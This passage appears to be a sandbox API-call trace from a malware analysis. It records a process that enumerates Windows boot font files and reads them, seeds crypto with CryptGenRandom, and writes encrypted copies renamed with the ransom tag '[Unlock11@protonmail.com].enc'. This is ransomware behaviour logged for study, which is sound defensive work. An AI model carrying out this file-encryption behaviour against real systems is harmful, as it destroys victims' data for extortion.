ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0115.888] GetLastError () returned 0x12 [0115.888] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0115.888] GetLastError () returned 0x12 [0115.888] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0115.888] GetLastError () returned 0x12 [0115.888] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0115.888] GetLastError () returned 0x12 [0115.888] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0115.888] GetLastError () returned 0x12 [0115.888] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811e0, Size=0x20) returned 0x33ea728 [0115.888] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0115.889] GetLastError () returned 0x12 [0115.889] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0115.889] GetLastError () returned 0x12 [0115.889] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0115.889] GetLastError () returned 0x12 [0115.889] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0115.889] GetLastError () returned 0x12 [0115.889] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea728, Size=0x40) returned 0x3887800 [0115.889] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0115.889] GetLastError () returned 0x12 [0115.889] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0115.889] GetLastError () returned 0x12 [0115.890] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0115.890] GetLastError () returned 0x12 [0115.890] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0115.890] GetLastError () returned 0x12 [0115.890] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0115.890] GetLastError () returned 0x12 [0115.890] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0115.890] GetLastError () returned 0x12 [0115.890] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0115.890] GetLastError () returned 0x12 [0115.890] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0115.890] GetLastError () returned 0x12 [0115.890] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0115.891] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0115.893] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0115.894] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0115.896] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0115.897] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0115.898] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33ea6d8 [0115.899] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0115.900] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0115.902] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0115.904] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0115.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea6d8, Size=0x40) returned 0x3887380 [0115.904] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0115.905] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0115.905] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0115.905] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0115.906] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0115.906] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0115.906] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0115.906] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\chs_boot.ttf", lpFilePart=0x9bada4*="chs_boot.ttf") returned 0x1a [0115.907] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467)) returned 1 [0115.907] GetLastError () returned 0x0 [0115.907] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0115.907] CreateFileA (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.907] GetFileType (hFile=0x39c) returned 0x1 [0115.908] GetCurrentThreadId () returned 0x9b0 [0115.908] GetLastError () returned 0x0 [0115.908] GetFileType (hFile=0x39c) returned 0x1 [0115.908] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.908] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.908] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.908] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.908] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.908] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.908] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.908] GetLastError () returned 0x0 [0115.908] GetCurrentThreadId () returned 0x9b0 [0115.908] GetLastError () returned 0x0 [0115.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0115.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0115.909] GetLastError () returned 0x0 [0115.909] GetLastError () returned 0x0 [0115.909] GetLastError () returned 0x0 [0115.909] GetLastError () returned 0x0 [0115.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0115.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a08 [0115.909] GetLastError () returned 0x0 [0115.909] CreateFileA (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.910] GetFileType (hFile=0x3ac) returned 0x1 [0115.910] GetLastError () returned 0x0 [0115.910] GetCurrentThreadId () returned 0x9b0 [0115.910] GetLastError () returned 0x0 [0115.910] GetFileType (hFile=0x3ac) returned 0x1 [0115.910] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.910] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.910] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.910] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.910] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.911] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.911] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.911] GetLastError () returned 0x0 [0115.911] GetCurrentThreadId () returned 0x9b0 [0115.911] GetLastError () returned 0x0 [0115.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0115.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0115.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0115.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.911] GetLastError () returned 0x0 [0115.911] GetLastError () returned 0x0 [0115.911] GetCurrentThreadId () returned 0x9b0 [0115.911] GetLastError () returned 0x0 [0115.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.912] GetLastError () returned 0x0 [0115.912] GetLastError () returned 0x0 [0115.912] GetCurrentThreadId () returned 0x9b0 [0115.912] GetLastError () returned 0x0 [0115.912] GetLastError () returned 0x0 [0116.037] GetLastError () returned 0x0 [0116.037] GetCurrentThreadId () returned 0x9b0 [0116.037] GetLastError () returned 0x0 [0116.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.038] GetCurrentThreadId () returned 0x9b0 [0116.038] GetLastError () returned 0x0 [0116.038] GetLastError () returned 0x0 [0116.038] GetLastError () returned 0x0 [0116.038] GetLastError () returned 0x0 [0116.038] GetCurrentThreadId () returned 0x9b0 [0116.038] GetLastError () returned 0x0 [0116.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0116.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0116.039] GetLastError () returned 0x0 [0116.041] GetLastError () returned 0x0 [0116.041] GetCurrentThreadId () returned 0x9b0 [0116.041] GetLastError () returned 0x0 [0116.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.041] GetLastError () returned 0x0 [0116.042] GetLastError () returned 0x0 [0116.043] GetCurrentThreadId () returned 0x9b0 [0116.043] GetLastError () returned 0x0 [0116.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a88 [0116.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0116.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.043] GetLastError () returned 0x0 [0116.044] GetLastError () returned 0x0 [0116.044] GetLastError () returned 0x0 [0116.044] GetLastError () returned 0x0 [0116.044] GetCurrentThreadId () returned 0x9b0 [0116.044] GetLastError () returned 0x0 [0116.044] GetCurrentThreadId () returned 0x9b0 [0116.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0116.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0116.044] GetLastError () returned 0x0 [0116.046] GetLastError () returned 0x0 [0116.046] GetCurrentThreadId () returned 0x9b0 [0116.046] GetLastError () returned 0x0 [0116.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.046] GetLastError () returned 0x0 [0116.048] GetLastError () returned 0x0 [0116.048] GetCurrentThreadId () returned 0x9b0 [0116.048] GetLastError () returned 0x0 [0116.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a88 | out: hHeap=0x2ad0000) returned 1 [0116.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.048] GetLastError () returned 0x0 [0116.048] GetLastError () returned 0x0 [0116.049] GetLastError () returned 0x0 [0116.049] GetLastError () returned 0x0 [0116.049] GetCurrentThreadId () returned 0x9b0 [0116.049] GetLastError () returned 0x0 [0116.049] GetCurrentThreadId () returned 0x9b0 [0116.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.049] GetLastError () returned 0x0 [0116.050] GetLastError () returned 0x0 [0116.050] GetCurrentThreadId () returned 0x9b0 [0116.050] GetLastError () returned 0x0 [0116.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.051] GetLastError () returned 0x0 [0116.052] GetLastError () returned 0x0 [0116.052] GetCurrentThreadId () returned 0x9b0 [0116.052] GetLastError () returned 0x0 [0116.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ad8 [0116.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.052] GetLastError () returned 0x0 [0116.053] GetLastError () returned 0x0 [0116.053] GetLastError () returned 0x0 [0116.053] GetLastError () returned 0x0 [0116.053] GetCurrentThreadId () returned 0x9b0 [0116.053] GetLastError () returned 0x0 [0116.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0116.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0116.053] GetLastError () returned 0x0 [0116.054] GetLastError () returned 0x0 [0116.054] GetCurrentThreadId () returned 0x9b0 [0116.055] GetLastError () returned 0x0 [0116.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.055] GetLastError () returned 0x0 [0116.055] GetLastError () returned 0x0 [0116.055] GetCurrentThreadId () returned 0x9b0 [0116.055] GetLastError () returned 0x0 [0116.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.056] GetCurrentThreadId () returned 0x9b0 [0116.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0116.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.056] GetLastError () returned 0x0 [0116.057] GetLastError () returned 0x0 [0116.057] GetLastError () returned 0x0 [0116.057] GetLastError () returned 0x0 [0116.057] GetCurrentThreadId () returned 0x9b0 [0116.057] GetLastError () returned 0x0 [0116.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.057] GetLastError () returned 0x0 